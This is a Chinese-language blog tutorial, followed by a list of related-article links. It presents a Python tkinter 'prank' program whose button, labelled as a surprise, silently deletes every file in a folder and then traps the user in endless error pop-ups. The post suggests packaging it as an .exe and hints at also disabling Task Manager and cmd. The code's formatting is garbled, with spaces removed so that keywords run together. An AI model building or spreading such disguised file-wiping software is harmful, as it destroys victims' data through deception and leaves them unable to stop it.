python恶意删除文件?

简介: 当你还在头疼电脑垃圾文件太多?文件夹路径太多不想一个一个进去删除?我只想说,遇事不决!我用python

python库部分介绍

写python的第一步当然需要导入相关的库,本文需要使用和介绍的库有俩个

os:提供通用的、基本的操作系统交互功能,常用路径操作、进程管理、环境参数等几类。

● 路径操作:os.path子库,处理文件路径及信息

● 进程管理:启动系统中其他程序

● 环境参数:获得系统软硬件信息等环境参数

tkinter:python GUI开发的一个标准库。

● 我们编写的Python代码会调用内置的Tkinter,Tkinter封装了访问Tk的接口。

● Tk是一个图形库,支持多个操作系统,使用Tcl语言开发

● Tk会调用操作系统提供的本地GUI接口,完成最终的GUI

importos# 用来访问操作系统相关的模块fromtkinterimport*importtkinter.messageboxasa

这里拿 from tkinter import * 简单说明与import tkinter的区别:

from tkinter import * 是导入tkinter下的所有函数,在使用的时候,可以省略掉tkinter。相反,import thinter则不能省略掉thinter。

编程思路

1. 利用tkinter库做一个简单GUI界面

创建TK()窗口

windows=Tk()

设置窗口的大小位置

(500x500表示宽高、+表示拼接、400表示x方向数字越大越往右、100表示y方向数字越大越往下)

windows.geometry("500x500+400+100")

2.创建函数

defDelete():
path=""# 你要删除的文件路径in_path=os.listdir(path)
#循环forin_foinin_path:
try:
#拼接命令name=os.path.join(path,in_fo)
#删除的意思os.remove(name)
exceptExceptionasa:
print(a)

3.设置函数无限弹框

defrun():
#调用Delete()
#全局变量globalwindowswhileTrue:
a.showerror('看你的文件')

4.创建按钮,并设置布局

but=Button(windows,text="有惊喜!",width=100,height=100,font=("微软雅黑",18),bg="yellow",command=run)
#垂直布局but.pack()

5.显示窗口

windows.mainloop()

效果展示

图片.png

图片.png

图片.png

图片.png

可以打包exe文件,建议不要捉弄别人容易出事!没有禁用任务管理器和cmd,喜欢的小伙伴可以自己研究~,在这就不赘述了

相关文章
|
6月前
|
Python
在 Python 中,如何处理文件和目录?
在 Python 中,如何处理文件和目录?
117 0
|
Python
python将数据写入本地txt文件
python将数据写入本地txt文件
102 0
|
5月前
|
数据安全/隐私保护 Python
轻松玩转Python文件操作:移动、删除
Python文件操作基础讲解,包括使用`os`和`shutil`模块进行文件移动和删除。`os`模块提供文件和目录处理方法,如`os.remove()`删除文件;`shutil`模块提供`move()`函数方便移动文件或目录。示例展示了如何使用`shutil.move()`和`os.remove()`,并讨论了批量操作、异常处理和最佳实践,如检查文件存在、使用绝对路径和正确关闭文件描述符。记得谨慎操作,确保代码健壮和数据安全。
|
6月前
|
数据安全/隐私保护 Python
Python 中删除文件夹下文件的方法详解
本文探讨了Python删除文件夹中特定文件的三种方法。使用os模块简单直接,适合基础操作,但不支持递归删除;shutil库能递归删除整个文件夹,需谨慎使用;glob模块则按文件名模式匹配并删除,灵活性高但范围受限。根据需求和安全性考虑选择合适的方法。
|
6月前
|
存储 安全 Python
Python如何删除文件?
Python如何删除文件?
71 0
|
6月前
|
Python
Python文件目录操作就是这么6
Python文件目录操作就是这么6
36 0
|
6月前
|
Python
Python中,将数据写入TXT文件
Python中,将数据写入TXT文件
285 3
|
6月前
|
Unix Shell Linux
python如何快速删除文件
python如何快速删除文件
71 0
|
安全 Python
【100天精通python】Day21:文件及目录操作_文件的权限处理和批量处理
【100天精通python】Day21:文件及目录操作_文件的权限处理和批量处理
120 0
|
程序员 Python
python中如何修改文件?
python中如何修改文件?
148 0